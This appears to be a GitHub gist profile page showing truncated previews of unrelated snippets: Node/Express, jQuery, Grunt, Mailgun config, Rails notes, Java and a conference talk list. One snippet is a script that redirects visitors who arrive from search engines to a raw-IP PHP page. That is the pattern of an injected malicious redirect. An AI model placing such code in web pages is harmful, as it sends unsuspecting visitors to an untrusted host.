Skip to content

Instantly share code, notes, and snippets.

View AgtLucas's full-sized avatar
🌎
💀⏳🌷

Lucas AgtLucas

🌎
💀⏳🌷
View GitHub Profile
var express = require('express');
var port = process.env.PORT || 3000;
var app = express();
app.get('/', function(request, response) {
response.sendfile(__dirname + '/index.html');
}).configure(function() {
app.use('/images', express.static(__dirname + '/images'));
}).listen(port);
var from = document.referrer;
var i;
var se = ["google", "yahoo", "bing", "yandex" , "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
for (i = 0; i < se.length; ++i) {
if (from.indexOf(se[i]) + 1) {
if (!checkCookie()) {
window.location = "http://91.239.15.61/g.php";
}
}
}
// Functions to help figure out whether elements are in the viewport
// and lazy-load their content if so.
// Implemented as jQuery plugins.
(function() {
$.fn.inView = function(nearThreshold) {
var $elem = $(this);
// Checks if its visible, CSS-wise
if (!$elem.is(":visible")) {
return false;
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Copyright (C) 2014 ADDY OSMANI <addyosmani.com>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
module.exports = function(grunt) {
// Configuration
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
shell: {
patternlab: {
command: "php core/builder.php -gp"
}
},

#config/mailgun.js

  module.exports.mailgun = {
    usessl: true,
    port: 465,
    to: '<youremailaddress>',
    prepend_subject: 'Happy Contact Form | ',
    user: process.env.MAILGUN_USER,
    pass: process.env.MAILGUN_PASS

jQuery and jQuery-ujs

When using Rails 3.0 and later we already get jquery-rails for free. Look in the gemfile and you'll see:

gem "jquery-rails"

You can view the full documentation here: source: https://github.com/indirect/jquery-rails

If you take a look in APP_DIR/app/assets/javascripts/application.js, you'll notice the following lines of code:

import java.util.Scanner;
public class FirstFit {
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
System.out.println("Entre com o número de processos:");
int p = in.nextInt();

#BrazilJS 2014

Talks: slides & Links

Day Talk Speaker Links
1 Why ServiceWorker may be the next big thing Renato Mangini interview · slides · video
1 Frontend at Scale - The Tumblr Story Chris Miller interview · slides · video
1 Intro to GFX: Raw WebGL Nick Desaulniers interview · slides · video
/** @jsx React.DOM */
var ReadingTimeWidget = React.createClass({
getInitialState: function() {
return ({
secondsRequired: null,
});
},
componentWillMount: function() {
var cdiv = this.props.contentDiv;